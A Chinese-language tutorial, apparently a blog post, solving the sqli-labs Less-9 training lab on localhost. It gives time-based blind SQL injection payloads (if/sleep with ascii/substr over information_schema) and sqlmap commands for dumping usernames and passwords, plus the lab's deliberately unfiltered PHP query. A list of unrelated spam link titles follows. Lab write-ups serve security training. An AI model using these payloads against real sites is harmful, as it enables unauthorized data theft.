当前位置: 首页 > news >正文

网站建设怎么选择MySQL数据库大小网店搜索引擎优化的方法

网站建设怎么选择MySQL数据库大小,网店搜索引擎优化的方法,做的网站每年需要续费,网站开发自适应目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库,查看数据库名称 ③爆表,查看security库的所有表 ④爆列,查看users表的所有列 ⑤成功获取用户名…

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/

二、测试目的

测试get型的sql注入,时间盲注出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显  You are in.....

测试符号

给数字加单引号  ‘  ,还是正常回显,不管输入什么,都是这样

只有时间盲注了,注入成功就停两秒刷新,否则立即刷新

添加1=1判断,页面两秒后刷新

?id=1' and if(1=1,sleep(2),0) --+  

If函数会对第一个参数进行真假判断,真则执行第二个参数,假则执行第三个参数

尝试1=2判断,页面立即刷新

?id=1' and if(1=2,sleep(2),0) --+  

2、注入数据库

①寻找注入方法

这关只有正常回显了,报错也不会显示

可以利用时间盲注进行注入

符合条件时执行if的true结果,不符合就执行false结果

依旧是结合length函数判断真假与否

?id=1' and if((length(database())>7),sleep(2),0) --+

?id=1' and if((length(database())=8),sleep(2),0) --+

由此可见,数据库名长度是8个字符

②爆库,查看数据库名称

?id=1' and if((ascii(substr(database(),1,1))>100),sleep(2),0) --+

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

Database()函数返回当前数据库

Substr函数提取数据库名的第一个字母,更改参数,提取第二个、第三个

根据布尔判断,逐渐缩小数据库第一个字母的ASCII码值的范围,直到确定ASCII码值是多少,从而确定是哪个字母,不断尝试可以得出数据库名(时间漫长)

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

③爆表,查看security库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>100,sleep(2),0) -- +

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

limit(0,1)是第一行,第一个表

依此类推,limit(1,1)是第二行,第二个表名,substr的第二个参数是起始位置,改第二个字母...第三个......,直到ASCII码值大于1都报错就是没有字母或者没有这行了

可以将所有字母拼接起来那就是所有数据库表名了

同理,确定表名的字母,慢慢拼……

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

④爆列,查看users表的所有列

?id=1' and if((ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 2,1),3,1)))=115,sleep(2),0) -- +

爆列同理

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

同理

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为9就可以了,结果都是一样的

盲注手注太费时间了,还是用sqlmap吧

Sqlmap稳定发挥,yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";    echo '<font color= "#0000ff" font size= 3>';    }
}else { echo "Please input the ID as parameter with numeric value";}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。Sql语句中给id值加了引号,因此,闭合符合为 ‘        。

3.这里语句正确只会回显正确语句“you are in ….”,语句错误不会回显,利用时间盲注,可以根据页面刷新时间来判断是否注入成功。

4.Sql语句只取一行,注入时会把注释掉。

5.利用ascii函数和substr函数可以测出数据库内容。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用时间盲注,利用ascii函数和substr函数可以测出数据库内容。

http://www.15wanjia.com/news/46837.html

相关文章:

  • 维护网站需要什么技术设计师必备的6个网站
  • 宝塔面板上传自己做的网站最新军事动态最新消息
  • 湖南手机响应式网站建设企业百度我的订单查询
  • 餐饮店会员卡管理系统搜狗seo软件
  • 小学生个人网站怎么做长春seo培训
  • 网站群系统建设标准编程培训
  • 网站建设运营策划方案厨师培训机构 厨师短期培训班
  • phpcmsv9中英文网站搜狗推广登录入口
  • 网站做换肤目前搜索引擎排名
  • 云南网站建设维修公司哪家好百度公司招聘2022年最新招聘
  • 自己做企业网站百度总部投诉电话
  • 销售机械设备做网站软文文案案例
  • 做网站录入和查询需求网站注册
  • 惠州营销网站制作今日深圳新闻最新消息
  • 中国电信网站备案 锁定蜘蛛搜索
  • 山东建设企业网站拓客公司联系方式
  • 台州网站开发公司如何快速推广一个app
  • 自己做的网站怎么上排行榜淘宝网络营销方式
  • 一级a做爰片视频网站企业培训课程有哪些内容
  • 网站开发服务合同范本上海还能推seo吗
  • 深圳住房和建设局网站成都网站推广
  • 建站宝盒nicebox手机版网店代运营骗局流程
  • 免费行情软件在线网站论坛seo招聘
  • 北京顺义做网站百度知道网页版
  • 阿里巴巴做网站营销有没有用中国新闻最新消息今天
  • 有什么做美食的视频网站官网建站多少钱
  • 企业网站的主要功能百度seo怎么把关键词优化上去
  • 网站二次开发是什么意思百度知道问答平台
  • 网站建设有什么需求20个排版漂亮的网页设计
  • 南宁信息建设网站南宁优化推广服务